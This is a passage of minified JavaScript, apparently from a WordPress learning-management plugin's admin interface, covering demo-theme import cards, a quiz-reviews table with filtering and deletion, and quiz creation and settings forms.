infinite"}),l().createElement(Qe.a,{w:{base:"100%",md:"80%"},h:"18px",bg:"#E6E6E6",animation:"pulse 2s infinite"}),l().createElement(Qe.a,{w:{base:"100%",md:"80%"},h:"18px",bg:"#E6E6E6",animation:"pulse 2s infinite"}),l().createElement(Qe.a,{w:{base:"70%",md:"60%"},h:"18px",bg:"#E6E6E6",animation:"pulse 2s infinite"})),l().createElement(Qe.a,{w:{base:"40%",md:"26%"},minW:"120px",h:"55px",bg:"#E6E6E6",borderRadius:"10px",animation:"pulse 2s infinite"})),l().createElement(Qe.a,{w:{base:"100%",md:"40%"},minW:"250px",h:{base:"220px",md:"450px"},bg:"#E6E6E6",animation:"pulse 2s infinite"})),l().createElement(ft.s,{justify:"space-between",gap:9,direction:{base:"column",md:"row"}},l().createElement(Qe.a,{w:"100%",h:{base:"180px",md:"350px"},bg:"#E6E6E6",animation:"pulse 2s infinite"}),l().createElement(ft.s,{direction:"column",gap:9,w:"100%",h:{base:"360px",md:"350px"}},l().createElement(Qe.a,{flex:1,w:"full",bg:"#E6E6E6",animation:"pulse 2s infinite"}),l().createElement(Qe.a,{flex:1,w:"full",bg:"#E6E6E6",animation:"pulse 2s infinite"})),l().createElement(Qe.a,{w:"100%",h:{base:"180px",md:"350px"},bg:"#E6E6E6",animation:"pulse 2s infinite"})))};var nw=n(77182);const aw=e=>{var{demo:t}=e,n=(0,nw.V)("DemoCard");return l().createElement(Qe.a,{__css:n,display:"flex",flexDirection:"column",gap:0,flexShrink:0,alignSelf:"flex-start",borderWidth:"2px",borderStyle:"solid",borderColor:"#EDEDED",borderRadius:"md",cursor:"pointer"},l().createElement(Qe.a,null,l().createElement(Qe.a,{position:"relative",height:"full",aspectRatio:".84 / 1"},t.previewImage?l().createElement(qe._,{src:t.previewImage,width:"full",height:"full",borderTopRadius:"md"}):l().createElement(St.E,{height:"full",width:"full"})),l().createElement(Qe.a,{bg:"white",px:4,py:4,borderTopWidth:"1px",borderTopStyle:"solid",borderTopColor:"#EDEDED",borderBottomRadius:"md"},l().createElement(ft.s,{align:"center",gap:2,m:0,color:"#383838",fontSize:"16px"},l().createElement(g.E,{as:"h4",m:0,fontSize:"16px",fontWeight:"medium"},t.title||t.slug.replace(/-/g," ").replace(/\b\w/g,(e=>e.toUpperCase())))))))};var lw=[{id:"elementor",value:"Elementor"},{id:"gutenberg",value:"Gutenberg"}];const rw=()=>{var e,t=new mt(rt.demos),[n,r]=(0,a.useState)({id:"gutenberg",value:"Gutenberg"}),[i,o]=(0,a.useState)(null),[s,m]=(0,a.useState)(!1),[c,u]=(0,a.useState)(!1),[d,A]=(0,a.useState)(!0),y=(0,Pn.I)({queryKey:["demos"],queryFn:()=>t.list(),staleTime:1/0,gcTime:1/0,refetchOnWindowFocus:!1,refetchOnMount:!1}),v=(0,a.useMemo)((()=>{var e;return(null==y||null===(e=y.data)||void 0===e||null===(e=e.demos)||void 0===e?void 0:e.filter((e=>(null==e?void 0:e.pagebuilder)===(null==n?void 0:n.value))))||[]}),[null==y||null===(e=y.data)||void 0===e?void 0:e.demos,n]);return(0,a.useEffect)((()=>{i&&(u(!1),m(!1))}),[i]),l().createElement(De.m,{maxW:"container.xl",px:{base:5,md:10}},d&&l().createElement(at,{mt:4,mb:-2,height:"12"},l().createElement(Ze.z,{gap:1},l().createElement(g.E,{fontSize:"sm",color:"gray.700"},(0,E.__)("This will replace your active theme with the eLearning theme and add demo pages and courses. Your existing content won't be deleted, but may be affected.","learning-management-system")))),l().createElement(Bt.e,{isAttached:!0,variant:"outline",width:"fit-content",my:8},lw.map((e=>{var{id:t,value:a}=e;return l().createElement(p.$,{key:t,size:"sm",px:4,border:"1px",borderRadius:"md",borderColor:(null==n?void 0:n.value)===a?"primary.500":"gray.200",bg:(null==n?void 0:n.value)===a?"primary.500":"white",color:(null==n?void 0:n.value)===a?"white":"gray.600",_hover:{bg:(null==n?void 0:n.value)===a?"primary.600":"gray.100"},transition:"background 0.3s, color 0.3s",onClick:()=>r({id:t,value:a}),"aria-label":"Sort by ".concat(a),title:"Sort by ".concat(a),width:"100%"},a)}))),l().createElement(br.x,{templateColumns:{base:"repeat(1, 1fr)",sm:"repeat(1, 1fr)",lg:"repeat(3, 1fr)"},gap:8},null!=y&&y.isPending?l().createElement(Yb,null):null==v?void 0:v.map(((e,t)=>{var a,r;return l().createElement(Qe.a,{key:"".concat(e.slug,"-").concat(t),role:"group",position:"relative",borderRadius:"md",overflow:"hidden",bg:"white",transition:"all 0.3s",_hover:{borderColor:"#5182EF",boxShadow:"0px 4px 14px rgba(81, 130, 239, 0.3)"}},l().createElement(aw,{demo:e}),l().createElement(Qe.a,{position:"absolute",inset:0,display:"flex",alignItems:"center",justifyContent:"center",bg:"rgba(255, 255, 255, 0.8)",opacity:0,transition:"opacity 0.18s ease",_groupHover:{opacity:1,pointerEvents:"auto"},zIndex:2,pointerEvents:"none",height:"calc(100% - 61px)"},l().createElement(Ze.z,{spacing:3},l().createElement(p.$,{size:"md",onClick:()=>(e=>{window.location.href="".concat(null==R?void 0:R.adminUrl,"index.php?page=masteriyo-onboard#/import-demo/").concat(null==e?void 0:e.slug,"/").concat(null==e?void 0:e.theme_slug,"?step=templates&builder=").concat(null==n?void 0:n.id,"&ref=backend-template-page")})(e),"aria-label":"Import ".concat(null!==(a=null==e?void 0:e.title)&&void 0!==a?a:null==e?void 0:e.slug)},(0,E.__)("Import","learning-management-system")),l().createElement(p.$,{size:"md",variant:"outline",onClick:()=>(e=>{o(e)})(e),"aria-label":"Preview ".concat(null!==(r=null==e?void 0:e.title)&&void 0!==r?r:null==e?void 0:e.slug)},(0,E.__)("Preview","learning-management-system")))))}))),l().createElement(h.aF,{isOpen:Boolean(i),onClose:()=>o(null),size:s?"full":"6xl",isCentered:!s,scrollBehavior:"inside",motionPreset:"none"},l().createElement(f.m,null),l().createElement(b.$,{bg:"gray.50",borderRadius:"lg",boxShadow:"lg",zIndex:s?9998:void 0,mt:s?"32px":void 0,ml:s?"161px":void 0},l().createElement(w.r,{p:4},l().createElement(ft.s,{justify:"flex-end",align:"center",gap:2},l().createElement(Un.K,{"aria-label":"Toggle fullscreen",icon:s?l().createElement(et.SE2,null):l().createElement(et.KFS,null),size:"sm",variant:"ghost",onClick:()=>m((e=>!e))}),l().createElement(C.s,{position:"static"}))),l().createElement(x.c,{overflow:"hidden",bg:"white",p:0,maxH:s?"calc(100vh - 32px)":"600px"},i&&l().createElement(l().Fragment,null,!c&&l().createElement(tw,null),l().createElement(Qe.a,{p:6,display:c?"block":"none"},l().createElement(Qe.a,{as:"iframe",key:i.slug,src:i.url,onLoad:()=>u(!0),width:"100%",height:s?"calc(100vh - 100px)":"600px",border:"none",borderRadius:"md",style:{display:"block",background:"white",overflowX:"hidden"},sx:{"&::-webkit-scrollbar":{display:"none"}}})))))))};const iw=e=>{var t,{filterParams:n,setFilterParams:a}=e,r=new mt(rt.users),[i]=(0,v.ok)(),o=i.get("status")||"all",s=(0,Pn.I)({queryKey:["userList"],queryFn:()=>r.list({order_by:"name",order:"asc",per_page:5})}),{handleSubmit:m,register:c,setValue:u}=(0,Je.mN)(),d=(0,wr.z)({onTypeFinish:e=>{a({parent:0,user:n.user,quiz:n.quiz,search:e,status:o})}},800),g=e=>{a(ne(ee(e,{search:n.search,parent:0,status:o})))};return l().createElement(Qe.a,{px:{base:6,md:12}},l().createElement("form",{onChange:m(g)},l().createElement(br.x,{gridTemplateColumns:{md:"repeat(2, 1fr)"},gap:"4"},l().createElement(Ma.p,(0,Re.A)({placeholder:(0,E.__)("Search reviews","learning-management-system")},d,{height:"40px"})),l().createElement(Co,(0,Re.A)({},c("user"),{onChange:e=>{u("user",null==e?void 0:e.value.toString()),m(g)()},placeholder:(0,E.__)("Filter by Student","learning-management-system"),isClearable:!0,styles:dn,cacheOptions:!0,loadingMessage:()=>(0,E.__)("Searching Student...","learning-management-system"),noOptionsMessage:e=>{var{inputValue:t}=e;return t.length>0?(0,E.__)("Student not found.","learning-management-system"):s.isLoading?(0,E.__)("Loading...","learning-management-system"):(0,E.__)("Please enter 1 or more characters.","learning-management-system")},defaultOptions:s.isSuccess?null==s||null===(t=s.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>({value:null==e?void 0:e.id,label:"".concat(null==e?void 0:e.username," (#").concat(null==e?void 0:e.id," - ").concat(null==e?void 0:e.email,")")}))):[],loadOptions:(e,t)=>{if(e.length<0)return t([]);r.list({search:e}).then((e=>{var n;t(null==e||null===(n=e.data)||void 0===n?void 0:n.map((e=>({value:e.id,label:"".concat(e.username," (#").concat(e.id," - ").concat(e.email,")")}))))}))}})))))};const ow=function(e){var{isOpen:t,onClose:n,description:a,title:r,author_name:i}=e;return l().createElement(l().Fragment,null,l().createElement(h.aF,{isOpen:t,onClose:n},l().createElement(f.m,null),l().createElement(b.$,{bg:"white"},l().createElement(w.r,null,r),l().createElement(C.s,null),l().createElement(x.c,{mb:"3"},l().createElement(g.E,{fontSize:"md"},a)))))};const sw=e=>{var t,n,a,r,{data:i,setBulkIds:o,isLoading:s,bulkIds:m,onDeletePress:c}=e,{isOpen:u,onOpen:A,onClose:y}=(0,Ue.j)();return l().createElement(l().Fragment,null,l().createElement(_n.Tr,null,l().createElement(_n.Td,null,l().createElement(l().Fragment,null,l().createElement(ow,{isOpen:u,onClose:y,title:null==i?void 0:i.title,author_name:null==i?void 0:i.author_name,description:null==i?void 0:i.description}),l().createElement(On.S,{isDisabled:s,isChecked:m.includes(i.id.toString()),onChange:e=>o(e.target.checked?[...m,i.id.toString()]:m.filter((e=>e!==i.id.toString())))}))),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(g.E,{fontWeight:"semibold",fontSize:"sm"},"#",null==i?void 0:i.id," ",null==i||null===(t=i.user)||void 0===t?void 0:t.first_name," ",null==i||null===(n=i.user)||void 0===n?void 0:n.last_name),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},null==i?void 0:i.author_name," (",null==i?void 0:i.author_email,")"))),l().createElement(_n.Td,null,l().createElement(g.E,{fontWeight:"bold",color:"gray.600",fontSize:"sm"},null==i?void 0:i.title),l().createElement(g.E,{color:"gray.600",fontSize:"xs"},(0,E.__)("Course:","learning-management-system")," ",null==i||null===(a=i.course)||void 0===a?void 0:a.name)),l().createElement(_n.Td,null,l().createElement(d.B,{direction:"column",spacing:"2"},l().createElement(g.E,{fontWeight:"bold",color:"gray.600",fontSize:"sm"},null==i||null===(r=i.quiz)||void 0===r?void 0:r.name))),l().createElement(_n.Td,null,l().createElement(Bt.e,null,l().createElement(p.$,{colorScheme:"primary",variant:"outline",size:"xs",onClick:()=>A()},(0,E.__)("View","learning-management-system")),l().createElement(Rn.W,{placement:"bottom-end"},l().createElement(Tn.I,{as:Un.K,icon:l().createElement(kt.voe,null),variant:"outline",rounded:"sm",fontSize:"large",size:"xs"}),l().createElement(Wn.c,null,l().createElement(Kn.D,{onClick:()=>c(i.id),icon:l().createElement(ea,{width:"12px",height:"12px",fill:"currentColor"}),_hover:{color:"red.500"}},(0,E.__)("Delete","learning-management-system"))))))))};function mw(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function cw(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?mw(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):mw(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const uw=()=>{var e,t,n,r,i,o,m,c,[u,A]=(0,a.useState)({}),p=new mt(rt.quizesReview),y=(0,Pn.I)({queryKey:["quizReviewsList",u],queryFn:()=>p.list(u)}),v=((0,vt.zy)(),(0,We.d)()),f=(0,s.jE)(),{onClose:h,onOpen:b,isOpen:w}=(0,Ue.j)(),[C,x]=(0,a.useState)(""),[S,B]=(0,a.useState)([]),[I,O]=(0,a.useState)(),P=(0,wt.n)(cw({mutationFn:e=>p.bulkDelete("delete",{ids:e})},{onSuccess(){f.invalidateQueries({queryKey:["quizReviewsList"]}),h(),B([]),v({title:(0,E.__)("Quiz reviews Deleted","learning-management-system"),isClosable:!0,status:"success"})},onError(e){var t,n;h(),v({title:(0,E.__)("Failed to delete quiz reviews","learning-management-system"),description:null!=e&&e.message?null==e?void 0:e.message:null!=e&&null!==(t=e.response)&&void 0!==t&&null!==(t=t.data)&&void 0!==t&&t.message?"".concat(null==e||null===(n=e.response)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.message):null,isClosable:!0,status:"error"})}})),D=(0,wt.n)(cw({mutationFn:e=>p.delete(e)},{onSuccess:()=>{f.invalidateQueries({queryKey:["quizReviewsList"]}),h(),v({title:(0,E.__)("Quiz review deleted","learning-management-system"),status:"success",isClosable:!0})},onError:e=>{var t,n;h(),v({title:(0,E.__)("Failed to delete quiz review","learning-management-system"),description:null!=e&&e.message?null==e?void 0:e.message:null!=e&&null!==(t=e.response)&&void 0!==t&&null!==(t=t.data)&&void 0!==t&&t.message?"".concat(null==e||null===(n=e.response)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.message):null,isClosable:!0,status:"error"})}})),_=e=>{O(e),b()};return l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Vt,null,l().createElement(Lt,null,l().createElement(Wt,{gap:7},l().createElement(Ut,null),l().createElement(yn,null,l().createElement(vn,null,l().createElement(fn,{to:Pt.quiz_attempts.list,_activeLink:on},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Quiz Attempts","learning-management-system")))),l().createElement(vn,null,l().createElement(fn,{to:Pt.quiz_reviews.list,_activeLink:on},l().createElement(g.E,{fontSize:"sm",fontWeight:"semibold",_groupHover:{color:"primary.500"}},(0,E.__)("Quiz Reviews","learning-management-system")))))))),l().createElement(De.m,{maxW:"container.xl",marginTop:"6"},l().createElement(Qe.a,{bg:"white",py:{base:6,md:12},shadow:"box",mx:"auto"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(iw,{filterParams:u,setFilterParams:A}),l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(_n.XI,null,null!=y&&y.isLoading?l().createElement(xd,null):null!=y&&y.isSuccess&&$(null==y||null===(e=y.data)||void 0===e?void 0:e.data)?l().createElement(Mn,{title:(0,E.__)("No Quiz Reviews Yet","learning-management-system"),isResultFiltered:Boolean((null==u?void 0:u.search)||(null==u?void 0:u.user))}):l().createElement(l().Fragment,null,l().createElement(_n.d8,null,l().createElement(_n.Tr,null,l().createElement(_n.Th,null,l().createElement(On.S,{isDisabled:y.isLoading||y.isFetching||y.isRefetching,isIndeterminate:(null==y||null===(t=y.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.length)!==S.length&&S.length>0,isChecked:(null==y||null===(n=y.data)||void 0===n||null===(n=n.data)||void 0===n?void 0:n.length)===S.length&&!$(null==y||null===(r=y.data)||void 0===r?void 0:r.data),onChange:e=>{var t;return B(e.target.checked?null==y||null===(t=y.data)||void 0===t||null===(t=t.data)||void 0===t?void 0:t.map((e=>e.id.toString())):[])}})),l().createElement(_n.Th,null,(0,E.__)("Student Info","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Title","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Quiz","learning-management-system")),l().createElement(_n.Th,null,(0,E.__)("Actions","learning-management-system")))),l().createElement(_n.NN,null,null==y||null===(i=y.data)||void 0===i||null===(i=i.data)||void 0===i?void 0:i.map((e=>l().createElement(sw,{key:null==e?void 0:e.id,data:e,setBulkIds:B,bulkIds:S,isLoading:y.isLoading||y.isFetching||y.isRefetching,onDeletePress:_}))))))))),y.isSuccess&&!$(null==y||null===(o=y.data)||void 0===o?void 0:o.data)&&l().createElement(ba,{metaData:null==y||null===(m=y.data)||void 0===m?void 0:m.meta,setFilterParams:A,perPageText:"Quiz Reviews Per Page:"})),l().createElement(ta,{trashable:!1,openToast:b,status:"trash",setBulkAction:x,bulkIds:S,setBulkIds:B}),l().createElement(qn,{isOpen:w,onClose:h,confirmButtonColorScheme:"restore"===C?"primary":void 0,onConfirm:""===C?()=>{I&&D.mutate(I)}:()=>{P.mutate(S)},action:"delete",isLoading:""===C?D.isPending:P.isPending,dialogTexts:{default:{header:null!==(c=(0,E.__)("Deleting Quiz Review","learning-management-system")+I)&&void 0!==c?c:" #".concat(I),body:(0,E.__)("Are you sure? You can’t restore after deleting.","learning-management-system"),confirm:(0,E.__)("Move to Trash","learning-management-system")},delete:{header:(0,E.__)("Deleting Quiz Reviews","learning-management-system"),body:(0,E.__)("Are you sure? You can’t restore after deleting."),confirm:(0,E.__)("Delete","learning-management-system")}}}))};var dw=()=>l().createElement(d.B,{direction:"column",spacing:4,w:"full",alignItems:"center",bg:"white",p:4,borderRadius:"md"},l().createElement(ft.s,{w:{base:"full",md:"md"},align:"center",justify:"space-between"},[1,2,3].map(((e,t)=>l().createElement(Ze.z,{key:t,spacing:2,flex:"1"},l().createElement(Xt.Q,{size:"8"}),l().createElement(Ba.r,{noOfLines:1,width:"60px"}),t<2&&l().createElement(Qe.a,{flex:"1",h:"2px",bg:"gray.200",mr:2},l().createElement(Qe.a,{w:"full",h:"full",bg:"gray.300"})))))));const gw=()=>l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(Qe.a,{bg:"white",w:"full",shadow:"header",pb:["3",0,0]},l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:["column","row"],justifyContent:"space-between",align:"center"},l().createElement(d.B,{direction:["column",null,"row"],spacing:["3",null,"8"],align:"center",minHeight:"16"},l().createElement(Qe.a,{display:["none",null,"block"]},l().createElement(qe._,{src:It,w:"36px"})),l().createElement(Ba.r,{noOfLines:1,width:"80px"}),l().createElement(d.B,{direction:"row",alignItems:"center",gap:"5",mt:"0px !important"},l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})),l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})),l().createElement(d.B,{direction:"row",gap:"3",alignItems:"center"},l().createElement(Xt.Q,{size:"4"}),l().createElement(Ba.r,{noOfLines:1,width:"40px"})))),l().createElement(Bt.e,null,l().createElement(St.E,{height:"40px",width:"70px"}),l().createElement(St.E,{height:"40px",width:"70px"}),l().createElement(St.E,{height:"40px",width:"70px"}))))),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Qe.a,{bg:"white",p:"10",shadow:"box"},l().createElement(d.B,{direction:"column",spacing:"8"},l().createElement(dw,null),l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(St.E,{height:"40px"}),l().createElement(St.E,{height:"400px"})))))))));const Aw=e=>{var t,{defaultValue:n}=e,{register:a,formState:{errors:r}}=(0,Je.xW)();return l().createElement(Ne.MJ,{isInvalid:!(null==r||!r.name)},l().createElement(Ge.l,null,(0,E.__)("Quiz Name","learning-management-system")),l().createElement(Ma.p,(0,Re.A)({autoFocus:!0,defaultValue:n,placeholder:(0,E.__)("Your Quiz Name","learning-management-system")},a("name",{required:(0,E.__)("You must provide a name for the quiz.","learning-management-system")}))),l().createElement(ui.Wt,null,(null==r?void 0:r.name)&&(null==r||null===(t=r.name)||void 0===t?void 0:t.message)))};const pw=e=>{var t,n,r,i,o,s,{quizData:m}=e,{formState:{errors:c},setValue:u,control:g,watch:A}=(0,Je.xW)(),[p,y]=Zu((null==m?void 0:m.duration)||0),[v,f]=(0,a.useState)(m&&0!=(null==m?void 0:m.attempts_allowed)?"1":"0"),h=0===(null==m?void 0:m.questions_display_per_page)?"0":"1",b=(0,Je.FH)({name:"questions_display_per_page",defaultValue:null==m?void 0:m.questions_display_per_page.toString(),control:g}),w=(0,Je.FH)({name:"reveal_mode",defaultValue:null==m?void 0:m.reveal_mode,control:g}),C=(0,Je.FH)({name:"attempts_allowed",defaultValue:null==m?void 0:m.attempts_allowed,control:g});return(0,a.useEffect)((()=>{w?"0"===v&&(u("attempts_allowed",1),f("1")):(u("attempts_allowed",null!=C?C:5),f(0!=C?"1":"0"))}),[w,u,C,v]),l().createElement(nm.t,{orientation:"vertical"},l().createElement(d.B,{direction:"row",flex:"1"},l().createElement(Tm.w,{sx:cn},l().createElement(Um.o,{sx:sn},(0,E.__)("General","learning-management-system")),l().createElement(Um.o,{sx:sn},(0,E.__)("Display","learning-management-system"))),l().createElement(Wm.T,{flex:"1"},l().createElement(Km.K,null,l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Fa,{isInvalid:!(null==c||!c.full_mark)},l().createElement(Ge.l,null,(0,E.__)("Full Points","learning-management-system")),l().createElement(d.B,null,l().createElement(Je.xI,{name:"full_mark",defaultValue:(null==m?void 0:m.full_mark)||100,rules:{required:(0,E.__)("Full points is required for the quiz.","learning-management-system")},render:e=>{var{field:t}=e;return l().createElement(yi.Q7,(0,Re.A)({},t,{w:"full",min:1}),l().createElement(yi.OO,{borderRadius:"sm",shadow:"input"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null)))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.full_mark)&&(null==c||null===(t=c.full_mark)||void 0===t?void 0:t.message)))),l().createElement(Fa,{isInvalid:!(null==c||!c.pass_mark)},l().createElement(Ge.l,null,(0,E.__)("Pass Points","learning-management-system")),l().createElement(d.B,null,l().createElement(Je.xI,{name:"pass_mark",defaultValue:(null==m?void 0:m.pass_mark)||40,rules:{required:(0,E.__)("Pass points is required for the quiz.","learning-management-system")},render:e=>{var{field:t}=e;return l().createElement(yi.Q7,(0,Re.A)({},t,{w:"full",min:1}),l().createElement(yi.OO,{borderRadius:"sm",shadow:"input"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null)))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.pass_mark)&&(null==c||null===(n=c.pass_mark)||void 0===n?void 0:n.message)))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Duration","learning-management-system")),l().createElement(d.B,{direction:["column","column","column","row"]},l().createElement(Ne.MJ,{isInvalid:!(null==c||!c.duration_hour)},l().createElement(Je.xI,{name:"duration_hour",defaultValue:p||0,rules:{required:(0,E.__)("Hours is required.","learning-management-system"),min:0},render:e=>{var{field:t}=e;return l().createElement(Ha.M,null,l().createElement(yi.Q7,(0,Re.A)({},t,{flex:"1",min:0}),l().createElement(yi.OO,{rounded:"sm"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null))),l().createElement(cs.r0,null,(0,E.__)("Hours","learning-management-system")))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.duration_hour)&&(null==c||null===(r=c.duration_hour)||void 0===r?void 0:r.message))),l().createElement(Ne.MJ,{isInvalid:!(null==c||!c.duration_minute)},l().createElement(Je.xI,{name:"duration_minute",defaultValue:y||0,rules:{required:(0,E.__)("Minutes is required.","learning-management-system"),min:0,max:59},render:e=>{var{field:t}=e;return l().createElement(Ha.M,null,l().createElement(yi.Q7,(0,Re.A)({},t,{flex:"1",min:0,max:59}),l().createElement(yi.OO,{rounded:"sm"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null))),l().createElement(cs.r0,null,(0,E.__)("Minutes","learning-management-system")))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.duration_minute)&&(null==c||null===(i=c.duration_minute)||void 0===i?void 0:i.message))))),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Enable Reveal Mode","learning-management-system"),l().createElement($n.m,{label:(0,E.__)("When enabled, users are limited to a single quiz attempt, and all correct answers are displayed upon submission.","learning-management-system"),hasArrow:!0,fontSize:"xs"},l().createElement(Qe.a,{as:"span",sx:en},l().createElement($e.I,{as:kt.wfp})))),l().createElement(Je.xI,{name:"reveal_mode",render:e=>{var{field:t}=e;return l().createElement(qa.d,(0,Re.A)({},t,{defaultChecked:null==m?void 0:m.reveal_mode}))}})),l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Attempts Allowed","learning-management-system")),l().createElement(ja.z,{onChange:f,value:v},l().createElement(d.B,{direction:"column",spacing:"4"},l().createElement(d.B,{direction:"row",spacing:"8",align:"flex-start"},l().createElement(Va.s,{onChange:e=>u("attempts_allowed",e.target.value),value:"0",isDisabled:w},(0,E.__)("No limit","learning-management-system")),l().createElement(Va.s,{value:"1",onChange:()=>u("attempts_allowed",(null==m?void 0:m.attempts_allowed)||5)},(0,E.__)("Limit","learning-management-system")))))),l().createElement(Fa,{isInvalid:!(null==c||!c.attempts_allowed)},l().createElement(Ge.l,null,(0,E.__)("Number of Attempts","learning-management-system")),l().createElement(Je.xI,{name:"attempts_allowed",defaultValue:(null==m?void 0:m.attempts_allowed)||0,rules:{required:(0,E.__)("Attempts allowed is required.","learning-management-system")},render:e=>{var{field:t}=e;return l().createElement(Ha.M,null,l().createElement(yi.Q7,(0,Re.A)({},t,{w:"full",min:1}),l().createElement(yi.OO,{rounded:"sm"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null))),l().createElement(cs.r0,null,(0,E.__)("Attempts","learning-management-system")))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.attempts_allowed)&&(null==c||null===(o=c.attempts_allowed)||void 0===o?void 0:o.message))))),l().createElement(Km.K,null,l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Fa,null,l().createElement(Ge.l,null,(0,E.__)("Questions Per Page","learning-management-system"),l().createElement(tl,{label:(0,E.__)("Total number of questions to be shown per page for a quiz.","learning-management-system")})),l().createElement(d.B,{direction:"column",spacing:"4"},l().createElement(Je.xI,{name:"questions_display_per_page",defaultValue:h,render:e=>{var{field:t}=e;return l().createElement(ja.z,t,l().createElement(d.B,{direction:"row",spacing:"6",align:"flex-start"},l().createElement(Va.s,{value:"0"},(0,E.__)("From Global Settings","learning-management-system")),l().createElement(Va.s,{value:"1"},(0,E.__)("Set Individually","learning-management-system"))))}}),l().createElement(_t.S,{in:"0"!==b,animateOpacity:!0},l().createElement(Ne.MJ,{isInvalid:!(null==c||!c.questions_display_per_page)},l().createElement(Je.xI,{name:"questions_display_per_page_custom",defaultValue:(null==m?void 0:m.questions_display_per_page)||5,rules:{required:(0,E.__)("Questions per page is required.","learning-management-system")},render:e=>{var{field:t}=e;return l().createElement(yi.Q7,(0,Re.A)({},t,{defaultValue:(null==m?void 0:m.questions_display_per_page)||5,w:"full",min:1,max:999}),l().createElement(yi.OO,{rounded:"sm"}),l().createElement(yi.lw,null,l().createElement(yi.Q0,null),l().createElement(yi.Sh,null)))}}),l().createElement(ui.Wt,null,(null==c?void 0:c.questions_display_per_page)&&(null==c||null===(s=c.questions_display_per_page)||void 0===s?void 0:s.message)))))))))))};function Ew(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);t&&(a=a.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,a)}return n}function yw(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?Ew(Object(n),!0).forEach((function(t){(0,F.A)(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):Ew(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}const vw=()=>{var e,t,{sectionId:n,courseId:a}=(0,vt.g)(),r=(0,Je.mN)(),i=(0,vt.Zp)(),o=(0,We.d)(),m=new mt(rt.sections),c=new mt(rt.quizes),u=new mt(rt.courses),{draftCourse:A,publishCourse:y}=Cy(),v=(0,s.jE)(),f={fontWeight:"medium",py:"4"},h=(0,Pn.I)({queryKey:["course".concat(a),a],queryFn:()=>u.get(a)}),b=(0,Pn.I)({queryKey:["section".concat(n),n],queryFn:()=>m.get(n)}),w=(0,wt.n)(yw({mutationFn:e=>c.store(e)},{onSuccess:e=>{Ee(v,["builder".concat(a),a],e,"quiz"),o({title:(0,E.__)("Quiz Added","learning-management-system"),isClosable:!0,status:"success"}),i({pathname:Pt.quiz.edit.replace(":quizId","".concat(e.id)).replace(":courseId","".concat(e.course_id)),search:"?page=questions"})}})),C=(e,t)=>{var l={course_id:a,parent_id:n,duration:60*((null==e?void 0:e.duration_hour)||0)+ +((null==e?void 0:e.duration_minute)||0),duration_hour:void 0,duration_minute:void 0,questions_display_per_page:"1"===e.questions_display_per_page?e.questions_display_per_page_custom:e.questions_display_per_page};"draft"===t&&A.mutate(a),"publish"===t&&y.mutate(a),w.mutate(ne(ee(e,l)))};return b.isSuccess&&h.isSuccess&&(null==b||null===(e=b.data)||void 0===e?void 0:e.course_id)==a?l().createElement(Je.Op,r,l().createElement(d.B,{direction:"column",spacing:"8",alignItems:"center"},l().createElement(ci,{onSaveAction:e=>r.handleSubmit((t=>C(yw(yw({},t),{},{status:e})))),isLoading:null==w?void 0:w.isPending}),l().createElement(De.m,{maxW:"container.xl"},l().createElement(d.B,{direction:"column",spacing:"6"},l().createElement(Hr,null),l().createElement(wy,{courseName:null==h||null===(t=h.data)||void 